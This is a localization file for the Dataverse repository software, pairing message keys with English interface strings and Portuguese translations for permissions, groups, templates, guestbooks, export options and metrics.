dataverse.permissions.usersOrGroups.description	All the users and groups that have access to your dataverse.	Todos os usuários e grupos que têm acesso ao seu dataverse.
dataverse.permissions.usersOrGroups.tabHeader.userOrGroup	User/Group Name (Affiliation)	Nome do usuário/grupo (Afiliação)
dataverse.permissions.usersOrGroups.tabHeader.id	ID	ID
dataverse.permissions.usersOrGroups.tabHeader.role	Role	Papel
dataverse.permissions.usersOrGroups.tabHeader.action	Action	Ação
dataverse.permissions.usersOrGroups.assignedAt	Role assigned at {0}	Função atribuída em {0}
dataverse.permissions.usersOrGroups.removeBtn	Remove Assigned Role	Remover função atribuída
dataverse.permissions.usersOrGroups.removeBtn.confirmation	Are you sure you want to remove this role assignment?	Tem certeza de que deseja remover essa atribuição de função?
dataverse.permissions.roles	Roles	Papéis
dataverse.permissions.roles.add	Add New Role	Adicionar nova função
dataverse.permissions.roles.description	All the roles set up in your dataverse, that you can assign to users and groups.	Todas as funções configuradas no seu dataverse, que você pode atribuir a usuários e grupos.
dataverse.permissions.roles.edit	Edit Role	Editar papel
dataverse.permissions.roles.copy	Copy Role	Copiar papel
dataverse.permissionsFiles.title	Restricted File Permissions	Permissões de arquivo restrito
dataverse.permissionsFiles.usersOrGroups	Users/Groups	Usuários/Grupos
dataverse.permissionsFiles.usersOrGroups.assignBtn	Grant Access to Users/Groups	Conceder acesso a usuários/grupos
dataverse.permissionsFiles.usersOrGroups.description	All the users and groups that have access to restricted files in this dataset.	Todos os usuários e grupos que têm acesso a arquivos restritos neste conjunto de dados.
dataverse.permissionsFiles.usersOrGroups.tabHeader.userOrGroup	User/Group Name (Affiliation)	Nome do usuário/grupo (Afiliação)
dataverse.permissionsFiles.usersOrGroups.tabHeader.id	ID	ID
dataverse.permissionsFiles.usersOrGroups.tabHeader.email	Email	E-mail
dataverse.permissionsFiles.usersOrGroups.tabHeader.authentication	Authentication	Autenticação
dataverse.permissionsFiles.usersOrGroups.tabHeader.files	Files	Arquivos
dataverse.permissionsFiles.usersOrGroups.tabHeader.access	Access	Acesso
dataverse.permissionsFiles.usersOrGroups.file	File	Arquivo
dataverse.permissionsFiles.usersOrGroups.files	Files	Arquivos
dataverse.permissionsFiles.usersOrGroups.invalidMsg	There are no users or groups with access to the restricted files in this dataset.	Não há usuários ou grupos com acesso aos arquivos restritos neste conjunto de dados.
dataverse.permissionsFiles.files	Restricted Files	Arquivos restritos
dataverse.permissionsFiles.files.label	{0, choice, 0#Restricted Files\|1#Restricted File\|2#Restricted Files}	{0, choice, 0#Restricted Files\|1#Restricted File\|2#Restricted Files}
dataverse.permissionsFiles.files.description	All the restricted files in this dataset.	Todos os arquivos restritos neste conjunto de dados.
dataverse.permissionsFiles.files.tabHeader.fileName	File Name	Nome do arquivo
dataverse.permissionsFiles.files.tabHeader.roleAssignees	Users/Groups	Usuários/Grupos
dataverse.permissionsFiles.files.tabHeader.access	Access	Acesso
dataverse.permissionsFiles.files.tabHeader.publishedRestrictedState	Published	Publicado
dataverse.permissionsFiles.files.tabHeader.draftRestrictedState	Draft	Esboço
dataverse.permissionsFiles.files.deleted	Deleted	Excluído
dataverse.permissionsFiles.files.public	Public	Público
dataverse.permissionsFiles.files.restricted	Restricted	Restrito
dataverse.permissionsFiles.files.roleAssignee	User/Group	Usuário/Grupo
dataverse.permissionsFiles.files.roleAssignees	Users/Groups	Usuários/Grupos
dataverse.permissionsFiles.files.roleAssignees.label	{0, choice, 0#Users/Groups\|1#User/Group\|2#Users/Groups}	{0, choice, 0#Users/Groups\|1#User/Group\|2#Users/Groups}
dataverse.permissionsFiles.files.assignBtn	Assign Access	Atribuir acesso
dataverse.permissionsFiles.files.invalidMsg	There are no restricted files in this dataset.	Não há arquivos restritos neste conjunto de dados.
dataverse.permissionsFiles.files.requested	Requested Files	Arquivos solicitados
dataverse.permissionsFiles.files.selected	Selecting {0} of {1} {2}	Selecionando {0} de {1} {2}
dataverse.permissionsFiles.viewRemoveDialog.header	File Access	Acesso a arquivos
dataverse.permissionsFiles.viewRemoveDialog.removeBtn	Remove Access	Remover acesso
dataverse.permissionsFiles.viewRemoveDialog.removeBtn.confirmation	Are you sure you want to remove access to this file? Once access has been removed, the user or group will no longer be able to download this file.	Tem certeza de que deseja remover o acesso a este arquivo? Depois que o acesso for removido, o usuário ou grupo não poderá mais fazer o download desse arquivo.
dataverse.permissionsFiles.assignDialog.header	Grant File Access	Conceder acesso ao arquivo
dataverse.permissionsFiles.assignDialog.description	Grant file access to users and groups.	Conceda acesso ao arquivo para usuários e grupos.
dataverse.permissionsFiles.assignDialog.userOrGroup	Users/Groups	Usuários/Grupos
dataverse.permissionsFiles.assignDialog.userOrGroup.enterName	Enter User/Group Name	Digite o nome do usuário/grupo
dataverse.permissionsFiles.assignDialog.userOrGroup.invalidMsg	No matches found.	Nenhuma correspondência encontrada.
dataverse.permissionsFiles.assignDialog.userOrGroup.requiredMsg	Please select at least one user or group.	Por favor, selecione pelo menos um usuário ou grupo.
dataverse.permissionsFiles.assignDialog.fileName	File Name	Nome do arquivo
dataverse.permissionsFiles.assignDialog.grantBtn	Grant	Conceder
dataverse.permissionsFiles.assignDialog.rejectBtn	Reject	Rejeitar
dataverse.permissions.accessDialog.header	Edit Access	Editar acesso
dataverse.permissions.description	Current access configuration to your dataverse.	Configuração atual de acesso ao seu dataverse.
dataverse.permissions.tip	Select if all users or only certain users are able to add to this dataverse, by clicking the Edit Access button.	Selecione se todos os usuários ou apenas determinados usuários podem adicionar a essa tarefa, clicando no botão Editar acesso.
dataverse.permissions.Q1	Who can add to this dataverse?	Quem pode adicionar a este dataverse?
dataverse.permissions.Q1.answer1	Anyone adding to this dataverse needs to be given access	Qualquer um adicionando a este dataverse precisa ter acesso
dataverse.permissions.Q1.answer2	Anyone with a Dataverse account can add sub dataverses	Qualquer pessoa com uma conta do Dataverse pode adicionar subvertebrados
dataverse.permissions.Q1.answer3	Anyone with a Dataverse account can add datasets	Qualquer pessoa com uma conta do Dataverse pode adicionar conjuntos de dados
dataverse.permissions.Q1.answer4	Anyone with a Dataverse account can add sub dataverses and datasets	Qualquer pessoa com uma conta do Dataverse pode adicionar subvertebrados e conjuntos de dados
dataverse.permissions.Q2	When a user adds a new dataset to this dataverse, which role should be automatically assigned to them on that dataset?	Quando um usuário adiciona um novo conjunto de dados a esse dataverse, qual função deve ser automaticamente atribuída a ele nesse conjunto de dados?
dataverse.permissions.Q2.answer.editor.description	- Edit metadata, upload files, and edit files, edit Terms, Guestbook, Submit datasets for review	- Editar metadados, fazer upload de arquivos e editar arquivos, editar termos, livro de visitas, enviar conjuntos de dados para revisão
dataverse.permissions.Q2.answer.manager.description	- Edit metadata, upload files, and edit files, edit Terms, Guestbook, File Restrictions (Files Access + Use)	- Editar metadados, carregar arquivos e editar arquivos, editar Termos, Livro de Visitas, Restrições de Arquivos (Acesso a Arquivos + Uso)
dataverse.permissions.Q2.answer.curator.description	- Edit metadata, upload files, and edit files, edit Terms, Guestbook, File Restrictions (Files Access + Use), Edit Permissions/Assign Roles + Publish	- Editar metadados, fazer upload de arquivos e editar arquivos, editar Termos, Livro de Visitas, Restrições de Arquivos (Acesso a Arquivos + Uso), Editar Permissões/Atribuir Funções + Publicar
permission.anyoneWithAccount	Anyone with a Dataverse account	Qualquer pessoa com uma conta Dataverse
dataverse.permissions.usersOrGroups.assignDialog.header	Assign Role	Atribuir função
dataverse.permissions.usersOrGroups.assignDialog.description	Grant permissions to users and groups by assigning them a role.	Conceda permissões a usuários e grupos, atribuindo-lhes uma função.
dataverse.permissions.usersOrGroups.assignDialog.userOrGroup	Users/Groups	Usuários/Grupos
dataverse.permissions.usersOrGroups.assignDialog.userOrGroup.enterName	Enter User/Group Name	Digite o nome do usuário/grupo
dataverse.permissions.usersOrGroups.assignDialog.userOrGroup.invalidMsg	No matches found.	Nada encontrado.
dataverse.permissions.usersOrGroups.assignDialog.userOrGroup.requiredMsg	Please select at least one user or group.	Por favor, selecione pelo menos um usuário ou grupo.
dataverse.permissions.usersOrGroups.assignDialog.role.description	These are the permissions associated with the selected role.	Estas são as permissões associadas à função selecionada.
dataverse.permissions.usersOrGroups.assignDialog.role.warning	Assigning the {0} role means the user(s) will also have the {0} role applied to all {1} within this {2}.	Atribuindo a função {0} significa que o(s) usuário(s) também terá a função {0} aplicada a todos {1} dentro deste {2}.
dataverse.permissions.usersOrGroups.assignDialog.role.requiredMsg	Please select a role to assign.	Por favor, selecione um papel para atribuir.
dataverse.permissions.roles.header	Edit Role	Editar papel
dataverse.permissions.roles.name	Role Name	Nome da Função
dataverse.permissions.roles.name.title	Enter a name for the role.	Digite um nome para o papel.
dataverse.permissions.roles.id	Identifier	Identificador
dataverse.permissions.roles.id.title	Enter a name for the alias.	Digite um nome para o alias.
dataverse.permissions.roles.description.title	Describe the role (1000 characters max).	Descreva o papel (1000 caracteres no máximo).
dataverse.permissions.roles.description.counter	{0} characters remaining	{0} caracteres restantes
dataverse.permissions.roles.roleList.header	Role Permissions	Permissões de função
dataverse.permissions.roles.roleList.authorizedUserOnly	Permissions with an asterisk icon indicate actions that can be performed by users not logged into Dataverse.	Permissões com um ícone de asterisco indicam ações que podem ser executadas por usuários não conectados ao Dataverse.
dataverse.permissions.explicitGroupEditDialog.title.new	Create Group	Criar grupo
dataverse.permissions.explicitGroupEditDialog.title.edit	Edit Group {0}	Editar grupo {0}
dataverse.permissions.explicitGroupEditDialog.help	Add users or other groups to this group.	Adicione usuários ou outros grupos a esse grupo.
dataverse.permissions.explicitGroupEditDialog.groupIdentifier	Group Identifier	Identificador de grupo
dataverse.permissions.explicitGroupEditDialog.groupIdentifier.tip	Short name used for the ID of this group.	Nome abreviado usado para o ID desse grupo.
dataverse.permissions.explicitGroupEditDialog.groupIdentifier.required	Group identifier cannot be empty	O identificador de grupo não pode estar vazio
dataverse.permissions.explicitGroupEditDialog.groupIdentifier.invalid	Group identifier can contain only letters, digits, underscores (_) and dashes (-)	O identificador de grupo pode conter apenas letras, dígitos, sublinhados (_) e traços (-)
dataverse.permissions.explicitGroupEditDialog.groupIdentifier.helpText	Consists of letters, digits, underscores (_) and dashes (-)	Consiste em letras, dígitos, sublinhados (_) e traços (-)
dataverse.permissions.explicitGroupEditDialog.groupIdentifier.taken	Group identifier already used in this dataverse	Identificador de grupo já usado neste dataverse
dataverse.permissions.explicitGroupEditDialog.groupName	Group Name	Nome do grupo
dataverse.permissions.explicitGroupEditDialog.groupName.required	Group name cannot be empty	O nome do grupo não pode estar vazio
dataverse.permissions.explicitGroupEditDialog.groupDescription	Description	Descrição
dataverse.permissions.explicitGroupEditDialog.roleAssigneeName	User/Group	Usuário/Grupo
dataverse.permissions.explicitGroupEditDialog.roleAssigneeNames	Users/Groups	Usuários/Grupos
dataverse.permissions.explicitGroupEditDialog.createGroup	Create Group	Criar grupo
dataset.manageTemplates.pageTitle	Manage Dataset Templates	Gerenciar modelos de conjunto de dados
dataset.manageTemplates.select.txt	Include Templates from {0}	Incluir modelos de {0}
dataset.manageTemplates.createBtn	Create Dataset Template	Criar modelo de conjunto de dados
dataset.manageTemplates.saveNewTerms	Save Dataset Template	Salvar modelo de conjunto de dados
dataset.manageTemplates.noTemplates.why.header	Why Use Templates?	Por que usar modelos?
dataset.manageTemplates.noTemplates.why.reason1	Templates are useful when you have several datasets that have the same information in multiple metadata fields that you would prefer not to have to keep manually typing in.	Os modelos são úteis quando você tem vários conjuntos de dados que possuem as mesmas informações em vários campos de metadados que você preferiria não ter que digitar manualmente.
dataset.manageTemplates.noTemplates.why.reason2	Templates can be used to input instructions for those uploading datasets into your dataverse if you have a specific way you want a metadata field to be filled out.	Os modelos podem ser usados para inserir instruções para aqueles que carregam conjuntos de dados em seu dataverse se você tiver uma maneira específica de desejar que um campo de metadados seja preenchido.
dataset.manageTemplates.noTemplates.how.header	How To Use Templates	Como usar modelos
dataset.manageTemplates.noTemplates.how.tip1	Templates are created at the dataverse level, can be deleted (so it does not show for future datasets), set to default (not required), and can be copied so you do not have to start over when creating a new template with similar metadata from another template. When a template is deleted, it does not impact the datasets that have used the template already.	Os modelos são criados no nível do histórico, podem ser excluídos (por isso não são exibidos em conjuntos de dados futuros), definidos como padrão (não obrigatório) e podem ser copiados para que você não precise recomeçar ao criar um novo modelo com metadados semelhantes de outro modelo. Quando um modelo é excluído, ele não afeta os conjuntos de dados que já usaram o modelo.
dataset.manageTemplates.noTemplates.how.tip2	Please note that the ability to choose which metadata fields are hidden, required, or optional is done on the General Information page for this dataverse.	Observe que a capacidade de escolher quais campos de metadados estão ocultos, obrigatórios ou opcionais é feita nas Informações gerais página para este dataverse.
dataset.manageTemplates.noTemplates.getStarted	To get started, click on the Create Dataset Template button above. To learn more about templates, visit the Dataset Templates section of the User Guide.	Para começar, clique no botão Criar modelo de conjunto de dados acima. Para saber mais sobre modelos, visite o Conjunto de dados Modelos do Guia do Usuário.
dataset.manageTemplates.tab.header.templte	Template Name	Nome do modelo
dataset.manageTemplates.tab.header.date	Date Created	Data de criação
dataset.manageTemplates.tab.header.usage	Usage	Uso
dataset.manageTemplates.tab.header.action	Action	Ação
dataset.manageTemplates.tab.action.btn.makeDefault	Make Default	Tornar padrão
dataset.manageTemplates.tab.action.btn.default	Default	Padrão
dataset.manageTemplates.tab.action.btn.view	View	Ver
dataset.manageTemplates.tab.action.btn.copy	Copy	Copiar
dataset.manageTemplates.tab.action.btn.edit	Edit Template	Editar
dataset.manageTemplates.tab.action.btn.edit.metadata	Metadata	Metadados
dataset.manageTemplates.tab.action.btn.edit.terms	Terms	Termos
dataset.manageTemplates.tab.action.btn.delete	Delete	Excluir
dataset.manageTemplates.tab.action.btn.delete.dialog.tip	Are you sure you want to delete this template? A new dataset will not be able to use this template.	Tem certeza de que deseja excluir este modelo? Um novo conjunto de dados não poderá usar este modelo.
dataset.manageTemplates.tab.action.btn.delete.dialog.header	Delete Template	Excluir modelo
dataset.manageTemplates.tab.action.btn.view.dialog.header	Dataset Template Preview	Pré-visualização do template do conjunto de dados
dataset.manageTemplates.tab.action.btn.view.dialog.datasetTemplate	Dataset Template	Template do conjunto de dados
dataset.manageTemplates.tab.action.btn.view.dialog.datasetTemplate.title	The dataset template which prepopulates info into the form automatically.	O modelo de conjunto de dados que pré-preenche informações no formulário automaticamente.
dataset.manageTemplates.tab.action.noedit.createdin	Template created at {0}	Modelo criado em {0}
dataset.manageTemplates.delete.usedAsDefault	This template is the default template for the following dataverse(s). It will be removed as default as well.	Este modelo é o modelo padrão para a(s) seguinte(s) coluna(s) de dados. Ele também será removido como padrão.
dataset.message.manageTemplates.label	Manage Dataset Templates	Gerenciar modelos de conjunto de dados
dataset.message.manageTemplates.message	Create a template prefilled with metadata fields standard values, such as Author Affiliation, or add instructions in the metadata fields to give depositors more information on what metadata is expected.	Crie um modelo preenchido com valores padrão de campos de metadados, como Afiliação de Autor, ou adicione instruções nos campos de metadados para fornecer aos depositantes mais informações sobre quais metadados são esperados.
dataset.template.name.tip	The name of the dataset template.	O nome do modelo de conjunto de dados.
dataset.template.returnBtn	Return to Manage Templates	Retornar para Gerenciar Modelos
dataset.template.name.title	Enter a unique name for the template.	Digite um nome exclusivo para o modelo.
template.asterisk.tip	Asterisks indicate metadata fields that users will be required to fill out while adding a dataset to this dataverse.	Os asteriscos indicam campos de metadados que os usuários precisarão preencher ao adicionar um conjunto de dados a esse dataverse.
dataset.template.popup.create.title	Create Template	Criar modelo
dataset.template.popup.create.text	Do you want to add default Terms of Use and/or Access?	Deseja adicionar os Termos de Uso e/ou o Acesso padrão?
dataset.create.add.terms	Save + Add Terms	Salvar + Adicionar Termos
dataverse.manageGroups.pageTitle	Manage Dataverse Groups	Gerenciar grupos do Dataverse
dataverse.manageGroups.createBtn	Create Group	Criar grupo
dataverse.manageGroups.noGroups.why.header	Why Use Groups?	Por que usar grupos?
dataverse.manageGroups.noGroups.why.reason1	Groups allow you to assign roles and permissions for many users at once.	Grupos permitem que você atribua funções e permissões para muitos usuários de uma só vez.
dataverse.manageGroups.noGroups.why.reason2	You can use groups to manage multiple different kinds of users (students, collaborators, etc.)	Você pode usar grupos para gerenciar vários tipos diferentes de usuários (alunos, colaboradores, etc.)
dataverse.manageGroups.noGroups.how.header	How To Use Groups	Como usar grupos
dataverse.manageGroups.noGroups.how.tip1	A group can contain both users and other groups.	Um grupo pode conter usuários e outros grupos.
dataverse.manageGroups.noGroups.how.tip2	You can assign permissions to a group in the "Permissions" view.	Você pode atribuir permissões a um grupo na exibição "Permissões".
dataverse.manageGroups.noGroups.getStarted	To get started, click on the Create Group button above.	Para começar, clique no botão Criar Grupo acima.
dataverse.manageGroups.tab.header.name	Group Name	Nome do grupo
dataverse.manageGroups.tab.header.id	Group ID	ID do grupo
dataverse.manageGroups.tab.header.membership	Membership	Afiliação
dataverse.manageGroups.tab.header.action	Action	Ação
dataverse.manageGroups.tab.action.btn.view	View	Ver
dataverse.manageGroups.tab.action.btn.copy	Copy	Copiar
dataverse.manageGroups.tab.action.btn.enable	Enable	Ativar
dataverse.manageGroups.tab.action.btn.disable	Disable	Desativar
dataverse.manageGroups.tab.action.btn.edit	Edit	Editar
dataverse.manageGroups.tab.action.btn.viewCollectedData	View Collected Data	Ver dados recolhidos
dataverse.manageGroups.tab.action.btn.delete	Delete	Excluir
dataverse.manageGroups.tab.action.btn.delete.dialog.header	Delete Group	Excluir grupo
dataverse.manageGroups.tab.action.btn.delete.dialog.tip	Are you sure you want to delete this group? You cannot undelete a group.	Tem certeza de que deseja excluir este grupo? Você não pode cancelar a exclusão de um grupo.
dataverse.manageGroups.tab.action.btn.view.dialog.header	Dataverse Group	Grupo Dataverse
dataverse.manageGroups.tab.action.btn.view.dialog.group	Group Name	Nome do grupo
dataverse.manageGroups.tab.action.btn.view.dialog.groupView.name	Member Name	Nome do membro
dataverse.manageGroups.tab.action.btn.view.dialog.groupView.type	Member Type	Tipo de membro
dataverse.manageGroups.tab.action.btn.view.dialog.groupView.action	Action	Ação
dataverse.manageGroups.tab.action.btn.view.dialog.groupView.delete	Delete	Excluir
dataverse.manageGroups.tab.action.btn.view.dialog.groupMembers	Group Members	Membros do grupo
dataverse.manageGroups.tab.action.btn.view.dialog.enterName	Enter User/Group Name	Digite o nome do usuário/grupo
dataverse.manageGroups.tab.action.btn.view.dialog.invalidMsg	No matches found.	Nenhuma equivalência encontrada.
dataset.manageGuestbooks.pageTitle	Manage Dataset Guestbooks	Gerenciar livros de visitas do conjunto de dados
dataset.manageGuestbooks.include	Include Guestbooks from {0}	Incluir livros de visitas de {0}
dataset.manageGuestbooks.createBtn	Create Dataset Guestbook	Criar livro de visitas do conjunto de dados
dataset.manageGuestbooks.download.all.responses	Download All Responses	Baixar todas as respostas
dataset.manageGuestbooks.download.responses	Download Responses	Baixar respostas
dataset.manageGuestbooks.noGuestbooks.why.header	Why Use Guestbooks?	Por que usar livros de visitas?
dataset.manageGuestbooks.noGuestbooks.why.reason1	Guestbooks allow you to collect data about who is downloading the files from your datasets. You can decide to collect account information (username, given name & last name, affiliation, etc.) as well as create custom questions (e.g., What do you plan to use this data for?).	Os livros de visitas permitem que você colete dados sobre quem está baixando os arquivos de seus conjuntos de dados. Você pode decidir coletar informações da conta (nome de usuário, nome e sobrenome, afiliação, etc.), além de criar perguntas personalizadas (por exemplo, para que você pretende usar esses dados?).
dataset.manageGuestbooks.noGuestbooks.why.reason2	You can download the data collected from the enabled guestbooks to be able to store it outside of Dataverse.	Você pode baixar os dados coletados dos livros de visitas ativados para poder armazená-los fora do Dataverse.
dataset.manageGuestbooks.noGuestbooks.how.header	How To Use Guestbooks	Como usar os livros de visitas
dataset.manageGuestbooks.noGuestbooks.how.tip1	A guestbook can be used for multiple datasets but only one guestbook can be used for a dataset.	Um livro de visitas pode ser usado para vários conjuntos de dados, mas apenas um livro de visitas pode ser usado para um conjunto de dados.
dataset.manageGuestbooks.noGuestbooks.how.tip2	Custom questions can have free form text answers or have a user select an answer from several options.	Perguntas personalizadas podem ter respostas de texto de forma livre ou fazer com que o usuário selecione uma resposta dentre várias opções.
dataset.manageGuestbooks.noGuestbooks.getStarted	To get started, click on the Create Dataset Guestbook button above.	Para começar, clique no botão "Criar livro de visitas do conjunto de dados" acima. Para saber mais sobre os livros de visitas, visite o Livro de visitas do Guia do usuário.
dataset.manageGuestbooks.tab.header.name	Guestbook Name	Nome do livro de visitas
dataset.manageGuestbooks.tab.header.date	Date Created	Data de criação
dataset.manageGuestbooks.tab.header.usage	Usage	Uso
dataset.manageGuestbooks.tab.header.responses	Responses	Respostas
dataset.manageGuestbooks.tab.header.action	Action	Ação
dataset.manageGuestbooks.tab.action.btn.view	Preview	Pré-visualizar
dataset.manageGuestbooks.tab.action.btn.copy	Copy	Copiar
dataset.manageGuestbooks.tab.action.btn.enable	Enable	Ativar
dataset.manageGuestbooks.tab.action.btn.disable	Disable	Desativar
dataset.manageGuestbooks.tab.action.btn.edit	Edit	Editar
dataset.manageGuestbooks.tab.action.btn.preview	Preview	Pré-visualizar
dataset.manageGuestbooks.tab.action.btn.viewCollectedData	View Responses	Ver respostas
dataset.manageGuestbooks.tab.action.btn.delete	Delete	Excluir
dataset.manageGuestbooks.tab.action.btn.delete.dialog.header	Delete Guestbook	Excluir livro de visitas
dataset.manageGuestbooks.tab.action.btn.delete.dialog.tip	Are you sure you want to delete this guestbook? You cannot undelete a guestbook.	Tem certeza de que deseja excluir este livro de visitas? Você não pode cancelar a exclusão de um livro de visitas.
dataset.manageGuestbooks.tab.action.btn.view.dialog.header	Preview Guestbook	Visualizar livro de visitas
dataset.manageGuestbooks.tab.action.btn.view.dialog.datasetGuestbook.title	Upon downloading files the guestbook asks for the following information.	Ao baixar arquivos, o livro de visitas pede as seguintes informações.
dataset.manageGuestbooks.tab.action.btn.view.dialog.datasetGuestbook	Guestbook Name	Nome do livro de visitas
dataset.manageGuestbooks.tab.action.btn.viewCollectedData.dialog.header	Dataset Guestbook Collected Data	Dados coletados do livro de visitas do conjunto de dados
dataset.manageGuestbooks.tab.action.btn.view.dialog.userCollectedData.title	User data collected by the guestbook.	Dados do usuário coletados pelo livro de visitas.
dataset.manageGuestbooks.tab.action.btn.view.dialog.userCollectedData	Collected Data	Dados coletados
dataset.manageGuestbooks.tab.action.noedit.createdin	Guestbook created at {0}	Livro de visitas criado em {0}
dataset.manageGuestbooks.message.deleteSuccess	The guestbook has been deleted.	O livro de visitas foi excluído.
dataset.manageGuestbooks.message.deleteFailure	The guestbook cannot be deleted.	O livro de visitas não pode ser excluído.
dataset.manageGuestbooks.message.editSuccess	The guestbook has been updated.	O livro de visitas foi atualizado.
dataset.manageGuestbooks.message.editFailure	The guestbook could not be updated.	O livro de visitas não pôde ser atualizado.
dataset.manageGuestbooks.message.enableSuccess	The guestbook has been enabled.	O livro de visitas foi ativado.
dataset.manageGuestbooks.message.enableFailure	The guestbook could not be enabled.	O livro de visitas não pôde ser ativado.
dataset.manageGuestbooks.message.disableSuccess	The guestbook has been disabled.	O livro de visitas foi desativado.
dataset.manageGuestbooks.message.disableFailure	The guestbook could not be disabled.	O livro de visitas não pode ser desativado.
dataset.manageGuestbooks.tip.title	Manage Dataset Guestbooks	Gerenciar livros de visitas do conjunto de dados
dataset.manageGuestbooks.tip.downloadascsv	Click "Download All Responses" to download all collected guestbook responses for this dataverse, as a CSV file. To navigate and analyze your collected responses, we recommend importing this CSV file into Excel, Google Sheets or similar software.	Clique em "Baixar todas as respostas" para baixar todas as respostas coletadas do livro de visitas para este arquivo de dados, como um arquivo CSV. Para navegar e analisar suas respostas coletadas, recomendamos que você importe este arquivo CSV para o Excel, o Planilhas Google ou um software semelhante.
dataset.guestbooksResponses.dataset	Dataset	Conjunto de dados
dataset.guestbooksResponses.date	Date	Data
dataset.guestbooksResponses.type	Type	Tipo
dataset.guestbooksResponses.file	File	Arquivo
dataset.guestbooksResponses.customQuestions	Custom Questions	Perguntas personalizadas
dataset.guestbooksResponses.user	User	Usuário
dataset.guestbooksResponses.tip.title	Guestbook Responses	Respostas do livro de visitas
dataset.guestbooksResponses.count.responses	{0} {0, choice, 0#Responses\|1#Response\|2#Responses}	{0} {0, choice, 0#Responses\|1#Response\|2#Responses}
dataset.guestbooksResponses.count.toofresults	{0} to {1} of {2} {2, choice, 0#Responses\|1#Response\|2#Responses}	{0} to {1} of {2} {2, choice, 0#Responses\|1#Response\|2#Responses}
dataset.guestbooksResponses.tip.downloadascsv	Click "Download Responses" to download all collected responses for this guestbook, as a CSV file. To navigate and analyze your collected responses, we recommend importing this CSV file into Excel, Google Sheets or similar software.	Clique em "Baixar respostas" para baixar todas as respostas coletadas para este livro de visitas, como um arquivo CSV. Para navegar e analisar suas respostas coletadas, recomendamos que você importe este arquivo CSV para o Excel, o Planilhas Google ou um software semelhante.
dataset.guestbooksResponses.tooManyResponses.message	Note: this guestbook has too many responses to display on this page. Only the most recent {0} responses are shown below. Click "Download Responses" to download all collected responses ({1} total) as a CSV file.	Nota: este livro de visitas tem muitas respostas para exibir nesta página. Somente as respostas mais recentes {0} são mostradas abaixo. Clique em "Download de respostas" para baixar todas as respostas coletadas ({1} no total) como um arquivo CSV.
dataset.guestbookResponses.pageTitle	Guestbook Responses	Respostas do livro de visitas
dataset.manageGuestbooks.guestbook.name	Guestbook Name	Nome do livro de visitas
dataset.manageGuestbooks.guestbook.name.tip	Enter a unique name for this Guestbook.	Digite um nome exclusivo para este livro de visitas.
dataset.manageGuestbooks.guestbook.dataCollected	Data Collected	Dados coletados
dataset.manageGuestbooks.guestbook.dataCollected.description	Dataverse account information that will be collected when a user downloads a file. Check the ones that will be required.	Informações da conta do Dataverse que serão coletadas quando um usuário fizer o download de um arquivo. Verifique os que serão necessários.
dataset.manageGuestbooks.guestbook.customQuestions	Custom Questions	Perguntas personalizadas
dataset.manageGuestbooks.guestbook.accountInformation	Account Information	Informações da conta
dataset.manageGuestbooks.guestbook.required	(Required)	(Obrigatório)
dataset.manageGuestbooks.guestbook.optional	(Optional)	(Opcional)
dataset.manageGuestbooks.guestbook.customQuestions.description	Create your own questions to have users provide more than their account information when they download a file. Questions can be required or optional and answers can be text or multiple choice.	Crie suas próprias perguntas para que os usuários forneçam mais do que suas informações de conta quando fizerem o download de um arquivo. As perguntas podem ser obrigatórias ou opcionais e as respostas podem ser de texto ou múltipla escolha.
dataset.manageGuestbooks.guestbook.customQuestions.questionType	Question Type	Tipo de pergunta
dataset.manageGuestbooks.guestbook.customQuestions.questionText	Question Text	Texto da pergunta
dataset.manageGuestbooks.guestbook.customQuestions.responseOptions	Response Options	Opções de resposta
dataset.manageGuestbooks.guestbook.customQuestions.questionType.text	Single Line	Texto
dataset.manageGuestbooks.guestbook.customQuestions.questionType.multiple	Multiple Choice	Múltipla escolha
dataset.guestbookResponse.guestbook.additionalQuestions	Additional Questions	Perguntas adicionais
dataset.guestbookResponse.guestbook.responseTooLong	Please limit response to 255 characters	Por favor, limite a resposta para 255 caracteres
dataset.configureBtn	Configure	Configurar
dataset.pageTitle	Add New Dataset	Adicionar novo conjunto de dados
dataset.editBtn	Edit Dataset	Editar
dataset.editBtn.itemLabel.upload	Files (Upload)	Arquivos (Upload)
dataset.editBtn.itemLabel.metadata	Metadata	Metadados
dataset.editBtn.itemLabel.terms	Terms	Termos
dataset.editBtn.itemLabel.permissions	Permissions	Permissões
dataset.editBtn.itemLabel.thumbnailsAndWidgets	Thumbnails + Widgets	Miniaturas + Widgets
dataset.editBtn.itemLabel.privateUrl	Private URL	URL privado
dataset.editBtn.itemLabel.permissionsDataset	Dataset	Conjunto de dados
dataset.editBtn.itemLabel.permissionsFile	Restricted Files	Arquivos restritos
dataset.editBtn.itemLabel.deleteDataset	Delete Dataset	Excluir conjunto de dados
dataset.editBtn.itemLabel.deleteDraft	Delete Draft Version	Excluir versão preliminar
dataset.editBtn.itemLabel.deaccession	Deaccession Dataset	Descartar conjunto de dados
dataset.exportBtn	Export Metadata	Metadados de exportação
dataset.exportBtn.itemLabel.ddi	DDI	DDI
dataset.exportBtn.itemLabel.dublinCore	Dublin Core	Dublin Core
dataset.exportBtn.itemLabel.schemaDotOrg	Schema.org JSON-LD	Schema.org JSON-LD
dataset.exportBtn.itemLabel.datacite	DataCite	DataCite
dataset.exportBtn.itemLabel.json	JSON	JSON
dataset.exportBtn.itemLabel.oai_ore	OAI_ORE	OAI_ORE
dataset.exportBtn.itemLabel.dataciteOpenAIRE	OpenAIRE	OpenAIRE
dataset.exportBtn.itemLabel.html	DDI HTML Codebook	Codebook HTML DDI
metrics.title	Metrics	Métricas
metrics.title.tip	View more metrics information	Ver mais informações sobre métricas
metrics.dataset.title	Dataset Metrics	Métricas do conjunto de dados
metrics.dataset.tip.default	Aggregated metrics for this dataset.	Métricas agregadas para este conjunto de dados.
metrics.dataset.tip.makedatacount	Metrics collected using Make Data Count standards.	Métricas coletadas usando os padrões "Contagem de dados".
metrics.dataset.views.tip	Dataset views are combined with both aggregated file views and file downloads.	As visualizações do conjunto de dados são combinadas com as visualizações agregadas e o download de arquivos.
metrics.dataset.downloads.default.tip	Total aggregated downloads of files in this dataset.	Total de downloads agregados de arquivos neste conjunto de dados.
metrics.dataset.downloads.makedatacount.tip	Each file downloaded is counted as 1, and added to the total download count.	Cada arquivo baixado é contado como 1 e adicionado à contagem total de downloads.
metrics.dataset.citations.tip	Click for a list of citation URLs.	Clique para uma lista de URLs de citação.
metrics.file.title	File Metrics	Métricas de arquivo
metrics.file.tip.default	Metrics for this individual file.	Métricas para este arquivo individual.
metrics.file.tip.makedatacount	Individual file downloads are tracked in Dataverse but are not reported as part of the Make Data Count standard.	Os downloads de arquivos individuais são rastreados no Dataverse, mas não são relatados como parte do padrão "Make Data Count".
